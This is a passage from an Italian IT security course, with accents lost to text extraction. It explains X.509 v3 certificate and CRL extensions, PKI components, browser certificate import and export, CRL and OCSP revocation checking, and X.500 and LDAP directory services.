dallente emettitore. Per ogni certificato revocato, viene in-
dicato come minimo il suo numero di serie e la data e ora
di revoca.
La parte generale ha il seguente formato.
- Version (Numero di versione): 1 o 2. La versione 2 la pi
diffusa ed caratterizzata dalla presenza di estensioni op-
zionali.
- Issuer (Rilasciato da): il nome della CA che ha emesso la
CRL.
- Effective Date (Data di validit): la data e ora di emissione
della CRL.
- Next Update (Aggiornamento successivo): la data e ora in
4
5
6
Un esempio di parte
generale di una CRL in
versione 1
Un esempio di elenco dei
certificati revocati
cui prevista una nuova emissione della CRL.
- Signature (Algoritmo della firma elettronica): come nel
corrispondente campo del certificato
5.6.1.3 Certificati X.509 v3
La versione 3 della norma X.509 ha introdotto un campo
di estensioni opzionali sia nel certificato sia nelle CRL. Ogni
estensione costituita da un identificatore unico (OID) che
identifica lestensione, da un flag di criticit (vero se le-
stensione critica, oppure falso) e dal valore dellesten-
sione. In tal modo si possono aggiungere nuove informa-
zioni al certificato senza doverne ridefinire la sintassi di ba-
se. La norma X.509 prevede un certo numero di estensioni
standard, ma possibile (sebbene sconsigliato) aggiunge-
re estensioni proprietarie a un certificato o a una CRL. La
criticit di unestensione uninformazione utilizzata dal-
lapplicazione che analizza il certificato o la CRL. Se lap-
plicazione non riconosce unestensione marcata come cri-
tica, dovr scartare il certificato (o la CRL) considerando-
lo non valido.
Le estensioni pi importanti per i certificati sono le se-
guenti.
- Authority Key Identifier e Subject Key Identifier: identifi-
catori della chiave della CA che ha emesso il certificato e
della chiave certificata; normalmente si calcolano come
hash (impronta) SHA-1 della corrispondente chiave. Que-
sta estensione usata per verificare la firma digitale cal-
colata sul certificato (e quindi la validit del certificato)
quando la CA utilizza pi chiavi di firma; in tal caso
lAuthority Key Identifier del certificato dellentit e il
Subject Key Identifier del certificato di CA devono corri-
spondere. La RFC3280 prescrive luso dellAuthority Key
Identifier per tutti i certificati tranne quelli auto-firmati e
prescrive luso del Subject Key Identifier per i certificati
delle CA, raccomandandolo anche per i certificati delle
entit (utenti) finali.
- Basic Constraints: indica se si tratta di un certificato di CA
o di entit finale. Tipicamente, assente nei certificati di
entit finale; se presente, deve valere falso.
- Key Usage: indica quali sono gli usi permessi per la chia-
ve pubblica del certificato. Pu essere usato per indicare
il supporto per firme digitali, non ripudio, cifratura delle
chiavi, accordo su chiavi, firma di certificati, firma di CRL,
solo cifratura, solo decifratura.
- Subject Alternative Name e Issuer Alternative Name: sono
nomi aggiuntivi che caratterizzano lentit certificata e la
CA; ad esempio, nei certificati personali di Thawte, Nome
alternativo oggetto contiene lemail del titolare.
- CRL Distribution Point: un puntatore alla CRL relativa a
quel particolare certificato.
- Certificate Policies: una sequenza di uno o pi OID
(Object Identifier che identifica un attributo) che identifi-
cano i documenti di policy della CA, ovvero gli impegni
che la CA assume nei riguardi dei propri clienti in relazio-
ne al tipo di servizio offerto. Se lestensione marcata co-
me critica, lapplicazione deve aderire ad almeno una del-
le policy indicate, altrimenti il certificato non deve essere
utilizzato. Oltre agli OID, sono previsti dei qualificatori op-
zionali. Sebbene la RFC3280 sconsigli i qualificatori delle
policy ai fini dellinteroperabilit, ne definisce due in par-
ticolare: il Certificate Practice Statement (CPS) e lo User
Notice. Il qualificatore CPS un indirizzo URI (Uniform Re-
source Identifier) dellubicazione dove si pu trovare il do-
cumento CPS applicabile al certificato in questione. Il qua-
lifier User Notice pu comprendere un riferimento a infor-
mazioni reperibili altrove, una nota esplicta (max 200 ca-
ratteri) o entrambi.
- Extended Key Usage: indica degli utilizzi particolari della
chiave non elencati nellestensione Key Usage di cui so-
pra. Ad esempio, pu indicare la firma di marche tempo-
rali o lautenticazione TSL (Transport Layer Security). La
RFC3280 identifica diversi OID associati con questa esten-
sione, ma probabilmente la lista verr estesa nel tempo.
Questa estensione usata tipicamente nei certificati del-
le entit finali.
La versione del 2000 della norma X.509 ha introdotto nu-
merose estensioni opzionali, che possono essere relative a
tutta la CRL o a singoli certificati revocati. Le estensioni pi
utilizzate sono le seguenti.
- CRL Number: il numero progressivo di CRL emesse.
- Authority Key Identifier, come per i certificati.
A livello di singolo certificato, importante lestensione
CRL Reason Code, che fornisce il motivo per cui il certifi-
cato stato revocato. Tra i valori, ci sono Key Compromi-
se ( stata violata lintegrit della chiave privata corri-
spondente a quel certificato), cambio di affiliazione, rim-
piazzato, cessata operativit, sospensione, privilegi ritira-
ti e altri.
La PKI e i suoi componenti principali:
Certification Authority e Registration Authority
La Certification Authority lunica entit essenziale in
una PKI X.509, del cui funzionamento assume totale re-
sponsabilit. La CA ha la responsabilit di emettere, gesti-
re e revocare i certificati e garantisce quindi, nei confronti
dei terzi, il legame tra una chiave pubblica e i dati identifi-
cativi dellentit che possiede quella chiave pubblica e la
corrispondente chiave segreta.
Per realizzare il suo compito di emettere certificati, la CA
riceve una richiesta di certificato dallentit finale (luten-
te), autentica la sua identit e convalida il contenuto della
richiesta di certificazione. Quindi la CA genera il contenu-
to del nuovo certificato e lo firma digitalmente. Se la CA
configurata in modo da usare un certificate repository (un
database che contiene tutti i certificati emessi), vi archivia
il nuovo certificato. Quindi la CA consegna il certificato al-
lentit richiedente: per esempio, pu inviarlo via email o
comunicare lURL dellubicazione dove il richiedente potr
prelevarlo. Quando un certificato deve essere revocato, la
CA crea e gestisce le informazioni di revoca per il certifi-
cato. La richiesta pu essere originata dallentit utente o
dalla CA. La CA responsabile di autenticare la richiesta di
revoca. Allatto della revoca, la CA pu rimuovere il certifi-
cato dal repository o pu limitarsi a marcare il certificato
come revocato. La CA include il numero di serie del certi-
ficato nella CRL e, solitamente, informa lutente dellavve-
nuta revoca.
Chi utilizza un certificato, tipicamente per verificare una
firma digitale, deve sapere quale grado di fiducia pu ave-
re nellaffidabilit del certificato. Questo dipende da vari
fattori, come le regole e le procedure seguite dalla CA per
accertare lidentit del soggetto, le politiche e le procedu-
re operative, gli obblighi dei soggetti per proteggere le pro-
prie chiavi segrete (per esempio potrebbero essere tenuti
a utilizzare dispositivi di firma sicuri e certificati), leffica-
cia con cui la CA protegge la sua chiave privata e via di-
cendo.
Un elemento di particolare importanza il metodo usa-
to dalla CA per distribuire la propria chiave pubblica, nor-
malmente inserita in un certificato auto-firmato. Da tale cer-
tificato dipende la possibilit di verificare la validit di tut-
ti i certificati e delle CRL. Occorre quindi che venga utiliz-
zato un metodo di distribuzione sicuro e che consenta al-
lutente di verificare se sta utilizzando il certificato di CA
corretto. Per esempio, si pu generare un hash del certifi-
cato e metterlo a disposizione degli utenti con modalit ta-
li da rendere difficili le contraffazioni (a mezzo stampa, su
siti web ecc.). La pratica oggi diffusa quella di includere
i certificati delle CA direttamente allinterno dei browser,
delegando ai distributori del software lonere della verifica
e della distribuzione sicura. Gli utenti restano cos allo-
scuro dellimportanza di queste verifiche.
In Italia, per la firma qualificata, a garanzia dellautenti-
cit dei certificati di CA, previsto che venga tenuto dal
5.6.1.3 Conoscere i
certificati X.509.V3
significato
dell'acronimo PKI e le
relative componenti
fondamentali:
Certification
Authority, Registration
Authority, etc.
CNIPA (Centro Nazionale per lInformatica nella Pubblica
Amministrazione) un elenco dei certificati e che questo sia
firmato con una particolare chiave, il cui hash stato pub-
blicato nella Gazzetta Ufficiale.
Le informazioni necessarie per garantire il grado di fi-
ducia richiesto vengono normalmente raccolte in due do-
cumenti: Certificate Policy (CP), che raccoglie linsieme di
regole seguite dalla CA per garantire la sicurezza e Certifi-
cate Policy Statement (CPS), che documenta le procedure
operative che implementano la CP. Questi due documenti
sono scritti in conformit alle indicazioni fornite dalla
RFC2527 (Internet X.509 Public Key Infrastructure: Certifi-
cate Policy and Certification Practices Framework, marzo
1999).
Lestensione Certificate Policies, che pu essere inseri-
ta nei certificati, deve contenere uno o pi OID che identi-
fichino i documenti di policy della CA e possono contene-
re lURL della loro ubicazione.
Una CA potrebbe non essere in grado di identificare cor-
rettamente tutti i soggetti che deve certificare, per esempio
nel caso in cui la procedura di registrazione richieda un ri-
conoscimento de visu dei soggetti e che questi siano di-
stribuiti su una vasta area geografica. In questi casi si pu
delegare a una Registration Authority (RA) il compito di
identificare i soggetti. Con la crescita dellinfrastruttura, si
pu avere una struttura a pi livelli, in cui un numero limi-
tato di RA coordina il lavoro delle RA locali (LRA). I docu-
menti di policy dovranno includere le procedure di regi-
strazione adottate.
Una RA unentit opzionale concepita per distribuire in
modo efficiente il carico di lavoro di una CA, ma non esegue
nessun servizio che non possa essere fornito dalla sua CA.
I servizi della RA sono di autenticazione e validazione del-
le richieste provenienti dalle entit utenti. La RA, in qualit
di front-end per conto della CA, tenuta a mettere in atto
le policy della CA, quindi una RA dovrebbe essere dedica-
ta a una sola CA, mentre una CA pu essere assistita da pi
RA. Dato che la generazione delle firme digitali unattivit
computazionalmente intensa, la presenza delle RA per-
mette alla CA di occuparsi prevalentemente delle attivit
crittografiche, oltre a interagire con il repository dei certi-
ficati e a firmare i certificati e le CRL.
Il repository il database dove la CA pubblica i certifi-
cati che genera, che pu essere utilizzato come fonte cen-
trale dei certificati e delle chiavi pubbliche dagli utenti del-
la PKI. Esso pu inoltre essere usato come ubicazione cen-
trale delle CRL.
I repository possono essere implementati attraverso
tecnologie software, ma le directory X.500 raccolgono am-
pia accettazione. Una directory X.500 la scelta naturale
per conservare i certificati, perch i titolari dei certificati
sono spesso identificati dai distinguished names (DN) del-
lX.500. La modalit standard per accedere ai certificati e al-
le CRL archiviate in una directory X.500 attraverso il pro-
tocollo LDAP (Lightweight Directory Access Protocol).
Unapplicazione che offre uninterfaccia LDAP detta ser-
ver LDAP; un utente pu inviare una richiesta LDAP a un
server LDAP e leggere i dati di un certificato o di una CRL.
Per la ricerca di un certificato, la query deve specificare il
DN parziale o completo dellentit finale che possiede il
certificato; per la ricerca del certificato di una CA o di una
CRL, la query deve specificare il DN della CA.
Utilizzo di un browser per generare chiavi
e inviare una richiesta di certificato alla CA
Utilizzando un web browser, possibile generare una
coppia di chiavi asimmetriche (RSA), inviare una richiesta
di certificato a una CA, installare il certificato ed esportar-
lo ad altre applicazioni (come un programma di posta elet-
tronica). Un certificato pu servire ad attivare una con-
nessione mutuamente autenticata con un server protetto
da SSL/TSL che supporti tale servizio.
I certificati personali per email, come quelli che Thawte
rilascia gratuitamente, ci forniscono un esempio della pro-
cedura con cui Internet Explorer, in Windows, crea le chia-
vi attraverso la CryptoAPI, linterfaccia con le funzioni crit-
tografiche di Windows.
Nel sito di Thawte.com, alla pagina Personal E-Mail Cer-
tificates, si avvia la procedura di registrazione cliccando su
Join. Lutente fornisce una serie di informazioni personali
e attende un messaggio email con le istruzioni successive.
Queste richiedono di aprire una certa pagina web e di in-
serire due dati (probe e ping) che servono a Thawte per ve-
rificare che il richiedente sia in effetti il titolare dellaccount
di email (che sar lelemento identificativo del certificato).
Segue la richiesta del certificato X.509 con la scelta del
software che lo utilizzer, tra cui Netscape Communicator,
Internet Explorer (con Outlook o Outlook Express) e Ope-
ra. Al momento della generazione delle chiavi e della ri-
chiesta del certificato, un messaggio di Windows mette in
guardia sulloperazione in corso e richiede conferma per
proseguire.
Viene creata la coppia di chiavi.
Schema generale di una
PKI con le sue entit
principali
7
5.6.1.5 Essere in
grado d'utilizzare un
browser per generare
le chiavi e la
richiesta di
certificazione
a una CA
8
9
10
Il dialogo col sito di Thawte continua fino alla conferma
della richiesta di certificato e allaccesso alla pagina di ge-
stione dei certificati (Certificate Manager Page). Qui sono
elencati il o i certificati rilasciati allutente (per ogni indi-
rizzo email utilizzato, occorre un distinto certificato) e il lo-
ro stato. Un messaggio di posta avvisa che il certificato
stato rilasciato e fornisce un link per scaricarlo; aprendo la
pagina web, un ulteriore clic permette di installare il certi-
ficato in Internet Explorer (nel caso di Netscape, linstalla-
zione automatica). Un messaggio del sistema operativo
avvisa che si sta aggiungendo un certificato e attende con-
ferma per proseguire.
Il certificato viene installato.
Lo si trova elen-
cato aprendo,
in IE, Strumenti
> Opzioni Inter-
net > Contenu-
to > Certificati.
Da qui, il certificato pu essere esportato con o senza
chiave privata, secondo lutilizzo, ed essere importato nel
programma di email, per esempio per firmare i messaggi
inviati. Lesportazione e importazione della chiave privata
vengono protette da una password scelta dallutente.
Importare ed esportare certificati in un browser
Un browser pu importare certificati in diversi formati,
come X.509 (.cer o .crt), PKCS #7 (.spc o .p7b), PKCS #12
(.pfx o .p12) e vari altri. I formati PKCS (Public Key Cryp-
tography Standards) sono stati introdotti da RSA nel 1991
per supportare limplementazione e linteroperabilit del-
le tecnologie della PKI. Il PKCS #7 (CMS, Cryptographic
Message Syntax Standard) specifica i formati per codifica-
re messaggi creati con metodi di crittografia asimmetrica
ed stato creato per compatibilit con gli standard PEM
(Privacy Enhancement for Internet Electronic Mail) del-
lIETF. PKCS #7 stato adottato dallIETF nella RFC 2315 e
aggiornato con la RFC 2630.
Il PKCS #12 (Personal Information Exchange Syntax, o
PFX) stato introdotto per consentire alle applicazioni di
condividere credenziali crittografiche personali, visto che
molte applicazioni hanno adottato formati proprietari per
archiviare localmente le chiavi private e i certificati X.509.
Il formato PFX permette lesportazione di un certificato da
unapplicazione (come browser e programmi di email) a un
file binario (o a una smart card). Questo file pu essere im-
portato in unaltra applicazione sullo stesso o su un altro
computer.
Un esempio in Internet Explorer
Consideriamo un esempio di export in Windows, trami-
te IE, di un certificato installato da una CA, come nel caso
visto in precedenza. Nella sezione Certificati di IE, si sele-
ziona il certificato da esportare (fig. 14).
Cliccando su Esporta inizia la procedura guidata di
esportazione. Viene richiesto se il file esportato deve con-
tenere anche la chiave privata (per esempio per spostarla
off-line o su un altro computer) (fig. 15).
Ora si decide il formato di esportazione, che per default
PKCS #12 (fig. 16).
Per proteggere la sicurezza del file, si definisce una pas-
sword, che verr richiesta allatto dellimportazione. Come
al solito, la password dovrebbe essere abbastanza lunga e
usare lettere e cifre (fig. 17).
Si stabilisce la directory e il nome del file da esportare
(fig. 18).
Il sistema operativo chiede conferma dellesportazione
della chiave privata e genera il file di export (fig. 19).
Limportazione di un certificato in IE inizia anchessa
dalla sezione Certificati. Cliccando su Importa, si seleziona
il certificato in uno dei formati ammessi (fig. 20).
Si specifica la password che protegge la chiave privata,
che in questo caso era stata inclusa nel file esportato (fig.
21).
Il file di export pu essere salvato nellarchivio di default
o in un altro archivio (fig. 22).
Il certificato stato importato e aggiunto allarchivio
personale dei certificati (fig. 23).
5.6.1.6 Essere in
grado
d'importare/esportar
e un certificato in un
browser
11
12
13
14
15
16
Un esempio di importazione in Konqueror (SuSE
Linux)
Si inizia dalla sezione Crittografia del configuratore di
Konqueror (fig. 24).
Si clicca su Importa e si seleziona un file di export loca-
le (se il file in rete, va copiato o spostato localmente) (fig.
25).
Si introduce la password che protegge la chiave privata
(se esportata) (fig. 26).
Il certificato risulta ora importato (fig. 27).
17
18
19
20
21
22
23
24
25
26
Un esempio di importazione in Mozilla Firefox
Dalle opzioni avanzate di Firefox si entra nella Gestione
Certificati (fig. 28).
Si clicca su Importa (fig. 29).
Si seleziona il file da importare (fig. 30).
Si introduce la
password (se il fi-
le include la chia-
ve privata) (fig.
31).
Un messaggio
conferma il buon
esito dellimpor-
tazione (fig. 32)..
Il certificato
stato inserito nel-
larchivio dei cer-
tificati personali
(fig. 33). Se ne possono visualizzare le informazioni gene-
rali e i dettagli (fig. 34).
Un esempio dimportazione in Outlook
Nelle opzioni di sicurezza di Outlook si clicca su Im-
port/Export (fig. 35).
27
28
29
30
31
32
33
34
35
Si seleziona il certificato esportato in precedenza da In-
ternet Explorer, specificando la password di export e li-
dentificatore del certificato, che per il certificato persona-
le di Thawte lindirizzo email associato al certificato (fig.
36).
Ora si pu chiedere ad Outlook di aggiungere una firma
digitale a tutti i messaggi in uscita (in alternativa, si pu se-
lezionare di volta in volta quali messaggi firmare) (fig. 37).
Accesso alla CRL dal browser e utilizzo
di OCSP (Online Certificate Status Protocol)
Un certificato include al suo interno il periodo di validit
(data e ora dinizio e di scadenza). Se si deve porre termi-
ne anticipatamente alla validit di un certificato, questo de-
ve essere revocato e il suo numero di serie deve essere in-
cluso nella CRL della CA che ha emesso il certificato. I mo-
tivi che determinano la revoca di un certificato sono di va-
ria natura, per esempio il trasferimento del titolare ad altra
mansione o altra azienda o il venir meno della sicurezza
della chiave privata.
Le CRL sono normalmente emesse ogni 12/24 ore, perci
la revoca diventa effettiva entro un giorno. Mentre questa
periodicit pu essere adeguata di routine, ci sono situa-
zioni che richiedono maggiore tempestivit nel bloccare un
certificato, come la sottrazione della chiave privata al pro-
prietario o luso fraudolento del certificato.
Lemissione immediata della CRL dopo una revoca non
risolverebbe il problema perch, per ragioni di efficienza, i
software di verifica mantengono una cache delle CRL e non
scaricano le nuove CRL finch quelle correnti non siano
scadute. Daltra parte, le PKI con un numero elevato di
utenti tendono ad avere CRL voluminose, il cui scarica-
mento genera un ingente volume di traffico in rete, spe-
cialmente intorno ai tempi di scadenza. In definitiva, le CRL
costituiscono una lacuna nella sicurezza delle PKI.
OCSP (Online Certificate Status Protocol) un proto-
collo che cerca di risolvere questi problemi attraverso un
sistema aggiuntivo (responder) che mantiene al proprio in-
terno lo stato di tutti gli utenti e che viene interrogato dal-
le applicazioni che devono verificare la validit di un certi-
ficato. La versione 1 di OCSP, documentata nella RFC 2560
(X.509 Internet Public Key Infrastructure Online Certificate
Status Protocol-OCSP) un protocollo relativamente sem-
plice di domanda-risposta, che offre uno strumento per ot-
tenere online informazioni aggiornate sulla revoca dei cer-
tificati, fornite da unentit fidata (il responder OCSP). Una
richiesta OCSP include il numero di versione del protocol-
lo, il tipo di richiesta di servizio e uno o pi identificatori di
certificati. Questi ultimi consistono dellhash del DN (di-
stinguished name, nella terminologia LDAP) dellemittente,
dellhash della chiave pubblica dellemittente e del nume-
ro di serie del certificato. Possono essere presenti esten-
sioni opzionali. Le risposte contengono lidentificatore del
certificato, lo stato del certificato (valido, revocato o sco-
nosciuto) e lintervallo di validit della risposta associata
a ogni certificato specificato nella richiesta. Se un certifi-
cato revocato, viene indicato il momento della revoca; op-
zionalmente, pu essere incluso il motivo della revoca. Le
risposte del responder OCSP devono essere firmate per as-
sicurare lautenticit della loro origine. Come nel caso del-
le CRL, anche OCSP utilizza lestensione Authority Infor-
mation Access dei certificati (come da RFC 3280) per aiu-
tare le parti interessate a trovare il responder appropriato.
OCSP si limita a fornire lo stato di revoca di un certifi-
cato, senza alcuna presunzione sulla sua validit. OCSP non
verifica il periodo di validit e non esegue controlli sui da-
ti del certificato (come Key Usage, Extended Key Usage o
Policy Qualifier) che potrebbero indicare un uso scorretto
del certificato. Tutte le verifiche di validit restano a cari-
co dellapplicazione. Inoltre, il tempo di latenza tra la ri-
chiesta e la risposta (da mantenere al minimo) non ga-
rantito. OCSP solo un protocollo; sebbene possa essere
implementato con risposte in tempo reale, non specifica la
struttura di back-end da cui il responder attinge le infor-
mazioni, che comprende le CRL e altri database da cui pre-
levare le informazioni. OCSP non elimina la necessit delle
CRL e fornisce risposte aggiornate compatibilmente con la
latenza dei meccanismi di accesso alle sue fonti di infor-
mazioni. Sebbene il responder possa essere strettamente
accoppiato alla CA per offrire una latenza pressoch nulla,
questo non pu essere assunto implicitamente, tanto pi
che la firma digitale delle risposte pu determinare un im-
patto significativo sulle prestazioni.
Tra le possibili evoluzioni di OCSP V.1 ci sono SVP (Sim-
ple Validation Protocol), sviluppato dal gruppo di lavoro
PKIX dellIETF con lintento di scaricare su una terza parte
fidata il processo di verifica della validit dei certificati, e la
versione 2 di OCSP, in fase di sviluppo.
Un esempio del funzionamento di OCSP
In questo esempio (fig. 37), lapplicazione desktop (per
es. un browser) si connette a un server web via SSL, utiliz-
zando lautenticazione tramite certificato sia del client sia
del server. Il browser chiede al server una connessione SSL.
Il server risponde inviando il proprio certificato. Il browser
compie una verifica di validit del certificato ed esegue una
36
36
5.6.1.7 Essere in
grado d'accedere
alle liste CRL dal
browser, e sapere
effettuare controlli
sulla validit dei
certificati tramite
OCSP (Online
Certificate Status
Protocol).)
chiamata di sistema per verificare lo stato di revoca del cer-
tificato. Il plugin OCSP client installato nel desktop inter-
cetta la chiamata e invia una richiesta al responder OCSP.
Il responder verifica lo stato del certificato del server (pres-
so la CA emettitrice) e risponde con un messaggio firmato
al client, che in base alla risposta (buono, revocato o sco-
nosciuto) decide se fidarsi del server web. Se si fida, pro-
cede con la connessione SSL. Il server chiede al client il suo
certificato e, dopo averlo ricevuto, esegue la sua valida-
zione tramite lopportuno responder OCSP. Il responder in-
terroga la CA che ha emesso il certificato del client e invia
al server lo stato del certificato, mettendo in grado il server
di decidere se fidarsi del certificato del client.
Per accedere alle CRL, si possono usare i browser di ul-
tima generazione (come Mozilla Firefox), che utilizzano le
indicazioni contenute nellestensione CRL Distribution
Point del certificato. Se sono specificati pi valori, il softwa-
re tenta di accedere alla prima CRL, passando se necessa-
rio a quelle successive finch non trova un formato e una
CRL utilizabili.
Per configurare Mozilla Firefox per lutilizzo di OCSP, ba-
sta aprire Strumenti > Opzioni > Avanzate e, nella sezione
Verifica, attivare una delle opzioni per luso di OCSP (fig.38).
Importare la CRL nel browser
Nel caso in cui la CRL non fosse accessibile automatica-
mente dal browser o i certificati non contenessero une-
stensione CRL Distribution Point, si pu utilizzare il browser
per scaricare la CRL manualmente sulla base del suo URL.
Per esempio, aprendo in Internet Explorer lURL delle
CRL di Thawte (http://crl.thawte.com), vengono elencate le
CRL disponibili (fig. 39).
Selezionandone una, IE risponde offrendo di aprire o sal-
vare in un file la CRL. Scegliendo Apri, compare la finestra
Elenco certificati revocati, sezione generale.
Selezionando la sezione Elenco revoche, vengono elen-
cati i numeri di serie e le date di revoca (fig. 41).
38
5.6.1.8 Essere in
grado d'importare una
lista CRL nel browser,
e sapere effettuare
controlli sulla validit
dei certificati tramite
OCSP (Online
Certificate Status
Protocol)
37
38
40
41
Mozilla Firefox permette di importare le CRL e di ag-
giornare automaticamente le CRL relative ai certificati in-
stallati. Se da Firefox si apre crl.thawte.com e si seleziona
una delle CRL elencate, appare il messaggio di conferma
dellimportazione della CRL e accesso alle opzioni di ag-
giornamento (fig. 42).
Rispondendo S, si apre la seguente finestra (fig. 43).
Nelle preferenze di aggiornamento della CRL si pu im-
postare laggiornamento automatico e altre personalizza-
zioni.
BIBLIOGRAFIA
Per largomento PKI e firme digitali segnaliamo leccellen-
te Understanding PKI, Second Edition, di C. Adams e S.
Lloyd, Addison Wesley, 2003, e Digital Signatures di Atreya,
Hammond, Paine, Starret e Wu, RSA Press - McGraw-Hill, 2002.
Servizi di directory
Negli ambienti connessi in rete, fondamentale che le
informazioni importanti (come quelle legate alla sicurezza)
siano archiviate in modo strutturato e siano reperibili ra-
pidamente. Questa esigenza ha trovato una risposta nei
servizi di directory. che, a somiglianza di un elenco telefo-
nico, contengono le informazioni in forma strutturata e so-
no di facile consultazione. In questo contesto, directory in-
dica un elenco di dati strutturati secondo uno schema ge-
rarchico, senza nessuna relazione con le cartelle di un file
system, anchesse chiamate directory.
Idealmente, possiamo immaginare che un servizio di di-
rectory consista di un server centrale che contiene i dati in
una determinata directory e li distribuisce ai client attra-
verso opportuni protocolli. I dati dovrebbero essere strut-
turati in modo che siano facilmente accessibili da una va-
sta gamma di applicazioni. In questo modo le applicazioni
non hanno bisogno di conservare una propria banca dati
ma possono accedere a un database centrale sicuro e ag-
giornato, con notevole riduzione del carico amministrativo.
Un directory service organizza i contenuti e viene ese-
guito su un server; la directory invece il database conte-
nente le informazioni che sono gestite dal servizio di di-
rectory. Il servizio di directory linterfaccia con la direc-
tory e fornisce accesso ai dati della directory.
Una directory un tipo particolare di database, diverso
dai tradizionali database (per esempio relazionali, ma non
solo) utilizzati dalle applicazioni gestionali. Una directory
oggetto di un gran numero di accessi in lettura contem-
poranei, mentre laccesso in scrittura limitato ai pochi ag-
giornamenti amministrativi. Vista la scarsit di accessi in
scrittura, i dati di una directory sono essenzialmente stati-
ci, come i numeri di telefono dei dipendenti di unazienda
o gli attributi dei certificati di chiave pubblica emessi da
una CA (o da unazienda). Perci, la coerenza degli aggior-
namenti di una directory non pone problemi di criticit,
mentre al contrario un sistema di gestione di database per
applicazioni gestionali, che opera su dati dinamici, deve im-
plementare il concetto di transazione, per cui i dati si un
certo insieme devono essere aggiornati contemporanea-
mente o la transazione deve essere annullata.
Un servizio di directory quindi ottimizzato per le ope-
razioni di lettura. I dati sono memorizzati nella directory se-
condo una struttura definita da uno schema estendibile e
modificabile. I servizi di directory usano un modello di-
stribuito di archiviazione delle informazioni, che solita-
mente prevede delle repliche sincronizzate tra i server di
directory.
Esempi di servizi di directory sono i DNS (Domain Name
System) che associano i nomi di host o i nomi di domini ai
rispettivi indirizzi IP e ad altre informazioni.
X.500
I servizi di directory erano parte delliniziativa Open Sy-
stems Interconnect (OSI) volta a introdurre standard di
networking comuni e a garantire linteroperabilit tra di-
versi produttori. Negli anni 80 del secolo scorso, ITU e ISO
introdussero un insieme di standard - la famiglia ITU X.500
- per i servizi di directory, inizialmente per supportare lo
scambio di messaggi elettronici tra diversi gestori e la ri-
cerca dei nomi dei componenti di rete.
Le norme X.500 hanno definito un modello per la me-
morizzazione delle informazioni chiamato DIT (Directory
Information Tree), che consente di organizzare e raggrup-
pare gli oggetti (persone e risorse) secondo una struttura
gerarchica.
Lesempio di DIT mostra graficamente la struttura ge-
rarchica dei dati. Dalla radice (root), in cima, si diramano
tutti gli altri oggetti.
Il primo livello sotto la radice pu individuare una na-
zione e nella figura vengono mostrati due oggetti di tipo
country (abbreviati con c) e valorizzati con IT, sigla dellI-
talia, e UK per United Kingdom.
Allinterno delle nazioni sono presenti delle organizza-
5.6.2 Servizi di
directory
5.6.2.1 Conoscere i
server LDAP
Esempio di Directory
Information Tree X.500
42
43
44
zioni (oggetto organization, abbreviato con o), indicate con
il loro nome (o=societ X e o=societ Y).
Sotto unorganizzazione si pu avere ununit organiz-
zativa (oggetto organizationalUnit, abbreviato con ou) op-
pure una persona (oggetto commonName, abbreviato con
cn).
Ogni oggetto ha una sua indicazione univoca allinterno
della directory, che viene detta Distinguished Name (ab-
breviata con DN), ottenuta concatenando lidentificativo di
ogni oggetto, che viene chiamato Relative Distinguished
Name. Nella figura, cn=Mario Rosi un RDN, mentre il suo
DN completo cn=Mario Rosi, ou=Acquisti, o=societ X,
c=IT.
Il DIT svincolato dallubicazione effettiva delle infor-
mazioni, infatti possibile collegare tra loro pi server di
directory, ognuno responsabile del contenuto di un sot-
toalbero, che forniscono un servizio di directory che la
somma dei servizi forniti dai singoli server.
Le norme X.500 si basano sui protocolli OSI, ma rimase-
ro largamente inutilizzate perch la famiglia di protocolli
TCP/IP rimase lo standard di fatto per i protocolli di rete.
LDAP
Lo standard X.500 si dimostrato molto pi complesso
di quanto sia realmente necessario alle organizzazioni.
stato quindi introdotto un protocollo leggero chiamato
LDAP (Lightweight Directory Access Protocol, protocollo
leggero daccesso alle directory), basato su TCP/IP, per
semplificare laccesso ai servizi di directory pur mante-
nendolo stesso modello gerarchico introdotto da X.500.
LDAP oggi ampiamente accettato nella comunit Internet
e consente di interrogare, inserire, rimuovere e modificare
gli oggetti contenuti in una directory secondo una modalit
standard. Esistono due versioni di LDAP in uso: LDAP v2
(descritta dalla RFC 1777, X.500 Lightweight Directory Ac-
cess Protocol) e LDAP v3, descritta dalla RFC 2251, Li-
ghtweight Directory Access Protocol (v3).
LDAP una versione ridotta di DAP (Directory Access
Protocol), un protocollo che fornisce accesso ai servizi di
directory X.500 e che richiede lintero stack dei protocolli
OSI unitamente a una quantit di risorse di calcolo poco
compatibili con i desktop computer. LDAP una versione
di DAP ampiamente snellita e adattata allesecuzione su re-
ti TCP/IP.
Un tipico esempio di utilizzo di LDAP attraverso i pro-
grammi di posta elettronica; anzich costruire o distribui-
re una rubrica di contatti su ogni computer, il programma
si collega al server LDAP che ospita la directory contenen-
te gli indirizzi email di tutti gli utenti dellorganizzazione
(azienda, universit, ente pubblico ecc.). Laccesso mol-
to rapido e lamministrazione delle informazioni ha un co-
sto minimo.
Luso di LDAP non si limita alle informazioni relative a
persone o contatti. LDAP utilizzato per cercare i certificati
di chiave pubblica, stampanti e componenti di una rete e
per fornire il single-signon, dove ununica autenticazione d
accesso a un insieme di risorse di rete. LDAP adatto per
accedere a qualunque informazione di tipo elenco (direc-
tory), dove frequenti ricerche veloci (accesso in lettura) e
sporadici aggiornamenti sono la norma.
LDAP non definisce come funzionano i programmi sul la-
to server e sul lato client. Definisce il linguaggio usato dai
client per dialogare con i server (il dialogo pu avvenire an-
che tra server e server). Il client pu essere un browser, un
programma di email o unaltra applicazione. Il server pu
parlare solo LDAP o anche altre lingue (protocolli).
LDAP definisce uno schema, cio il formato e gli attributi
dei dati conservati nel server, e dei permessi, stabiliti da un
amministratore per limitare laccesso al database a chi ne
ha titolo. I server LDAP possono essere classificati a tre li-
velli: i grandi server pubblici, i grandi server di universit
e imprese e server pi piccoli a livello di gruppo di lavoro.
La maggior parte dei server pubblici sparita introno al-
lanno 2000 a causa degli abusi nellutilizzo degli indirizzi
email, mentre restano accessibili i server LDAP delle CA
con le informazioni relative ai certificati X.509.
Esistono numerose implementazioni di server LDAP, tra
cui le seguenti.
Slapd
University of Michigan
Openldap
Netscape Directory Server
Microsoft Active Directory (AD)
Novell Directory Services (NDS)
Sun Directory Services (SDS)
Lucent Internet Directory Server (IDS)
Utilizzo di un browser per interrogare
un server LDAP
I browser moderni sono in grado di collegarsi a un ser-
ver LDAP secondo un metodo definito nella RFC 2255 (The
LDAP URL Format). Si utilizza un particolare formato di
URL e il browser (se supporta laccesso LDAP) esegue
uninterrogazione in lettura sullhost specificato, usando i
parametri definiti e permettendo di aggiungere le voci tro-
vate alla rubrica locale. La notazione dellURL in realt
una comoda interfaccia con il browser, che viene tradotta
in una chiamata standard per interrogare il server LDAP
specificato.
